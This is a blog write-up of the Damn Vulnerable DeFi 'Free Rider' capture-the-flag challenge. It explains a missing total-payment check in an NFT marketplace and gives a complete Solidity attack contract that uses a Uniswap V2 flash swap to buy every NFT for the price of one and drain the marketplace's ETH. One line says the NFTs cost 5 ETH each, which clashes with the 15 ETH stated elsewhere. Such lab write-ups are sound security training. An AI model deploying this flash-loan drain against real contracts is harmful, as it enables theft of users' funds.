Damn Vulnerable DeFi Free Rider Solution

Solution to Free Rider Damn Vulnerable DeFi #10

·

5 min read

Free Rider v3 presents us with an NFT Marketplace selling 6 NFTs for 15 ETH each. The developers have offered a reward for anyone who can steal the NFTs from the marketplace and send them to a recovery contract. Our job is to steal the NFTs and additionally to drain the marketplace of all its ETH!

Code Overview

Test Setup Analysis - free-rider.challenge.js

The challenge description gives us a hint "If only you could get free ETH, at least for an instant." Looking at the challenge a UniswapV2 WETH/DVT pool is set up. UniswapV2 has a "flash swap" feature that functions as a flash loan so we can get access to a lot of ETH during 1 transaction, though we'll have to repay it plus a fee before the transaction finishes. With that in mind let's examine the marketplace contract and see how we can make use of the flash swap.

Contract Vulnerability Analysis - FreeRiderNFTMarketplace.sol

The marketplace contract only has two external functions we can call:

  • function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant

  • function buyMany(uint256[] calldata tokenIds) external payable nonReentrant

We start with 0 NFTs so the only option we have is to find a vulnerability in buyMany(). buyMany() calls _buyOne() for each input tokenId, and _buyOne() checks that msg.value is smaller than the price of the NFT to be bought. This is a major vulnerability as the total sum required to buy all tokenIds passed to buyMany() is never calculated nor checked; hence an attacker can buy all the NFTs simply by paying for the most expensive one!

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0)
        revert TokenNotOffered(tokenId);

    //@audit doesn't check total sum needed to buy all tokens, just checks msg.value
    // attacker can buy all tokens by sending msg.value equal to the highest price
    // of all the tokens. This challenge has 6 tokens 15eth each, to buy all would cost
    // 90eth, but one can buy them all for 15eth
    if (msg.value < priceToPay)
        revert InsufficientPayment();

    --offersCount;

    // transfer from seller to buyer
    DamnValuableNFT _token = token; // cache for gas savings
    _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

    //@audit the marketplace sends its own ether to pay the token owners, so it will
    // drain its own ether due to not checking msg.value >= total price of all nfts,
    // if the attacker sends only enough to cover the highest-cost nft

    // pay seller using cached token
    payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

_buyOne() also uses the marketplace's own ETH to pay the NFT owner, so it will drain its own ETH if the attacker buys multiple NFTs for the cost of only the highest-priced one. We now have all the pieces in place: a flash swap to get some ETH, and a vulnerability to be able to buy multiple NFTs for the cost of 1. Let's put it all together!

Exploit Implementation

First at the bottom of FreeRiderNFTMarketplace.sol we'll need to add UniswapV2 interface stubs for the functions we'll need to call to get the flash swap:

// @audit
// interfaces that attack contract needs
interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IWETH {
    function deposit() external payable;
    function transfer(address recipient, uint amount) external returns (bool);
    function withdraw(uint) external;
}

Next we can structure out attack to completely drain the marketplace ETH! The marketplace starts with 90ETH & 6 NFTs being sold for 5ETH each. So we can:

  • Buy 6 NFTs for 15 ETH => Market will have 90+15-(6*15) = 15 ETH left

  • Offer 2 NFTs for 15 ETH each => Market has 15 ETH left

  • Buy 2 NFTs for 15 ETH each => Market will have 15+15-(2*15) = 0 ETH left

Let's code this up:

contract FreeRiderNFTMarketplaceAttack is IERC721Receiver {

    FreeRiderNFTMarketplace market;
    IUniswapV2Pair          uniswapV2Pair;
    address                 recoveryAddr;
    address                 playerAddr;
    uint256 constant        LOAN_AMOUNT = 31 ether;

    constructor(address payable _market, address _uniswapV2Pair, address _recoveryAddr, address _playerAddr) {
        market        = FreeRiderNFTMarketplace(_market);
        uniswapV2Pair = IUniswapV2Pair(_uniswapV2Pair);
        recoveryAddr  = _recoveryAddr;
        playerAddr    = _playerAddr;
    }

    // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function attack() external {
        // 1) Use UniswapV2 flash swap to get a flash loan for LOAN_AMOUNT
        // perform a flash swap (uniswapv2 version of flash loan)
        // https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps
        uniswapV2Pair.swap(LOAN_AMOUNT, 0, address(this), hex"00");
    }

    // uniswapv2 flash swap will call this function
    function uniswapV2Call(address, uint, uint, bytes calldata) external {
        IWETH weth = IWETH(uniswapV2Pair.token0());

        weth.withdraw(LOAN_AMOUNT);

        // 2) Buy 6 nfts for 15 ether => Market will have 90+15-(6*15) = 15 ether left
        uint256[] memory nftIds = new uint256[](6);
        for(uint8 i=0; i<6;) {
            nftIds[i] = i;
            ++i;
        }

        market.buyMany{value: 15 ether}(nftIds);

        // 3) Offer 2 nfts for 15 ether each : Market has 15 ether left
        market.token().setApprovalForAll(address(market), true);
        uint256[] memory nftIds2 = new uint256[](2);
        uint256[] memory prices  = new uint256[](2);
        for(uint8 i=0; i<2;) {
            nftIds2[i] = i;
            prices[i]  = 15 ether;
            ++i;        
        }

        market.offerMany(nftIds2, prices);

        // 4) Buy them both for 15 ether => Market will have 15+15-(2*15) = 0 ether left
        market.buyMany{value: 15 ether}(nftIds2);

        // forward bought nfts to recovery address to receive eth reward
        // must include player/attacker address as bytes memory data parameter
        // since FreeRiderRecovery.onERC721Received() will decode this
        // and send reward to it
        DamnValuableNFT nft = DamnValuableNFT(market.token());
        for (uint8 i=0; i<6;) {
            nft.safeTransferFrom(address(this), recoveryAddr, i, abi.encode(playerAddr));
            ++i;
        }

        // calculate fee and repay loan.
        uint256 fee = ((LOAN_AMOUNT * 3) / uint256(997)) + 1;
        weth.deposit{value: LOAN_AMOUNT + fee}();
        weth.transfer(address(uniswapV2Pair), LOAN_AMOUNT + fee);

        // forward eth stolen from market to attacker
        payable(playerAddr).transfer(address(this).balance);
    }

    receive() external payable {}
}

Finally modify free-rider.challenge.js to deploy & execute our attack contract:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    attacker = await (await ethers.getContractFactory('FreeRiderNFTMarketplaceAttack', player)).deploy(
        marketplace.address, uniswapPair.address, devsContract.address, player.address
    );

    await attacker.attack();
});

And check that it works npx hardhat test --grep "Free Rider"

Check out my Damn Vulnerable DeFi Solutions repo for full source code.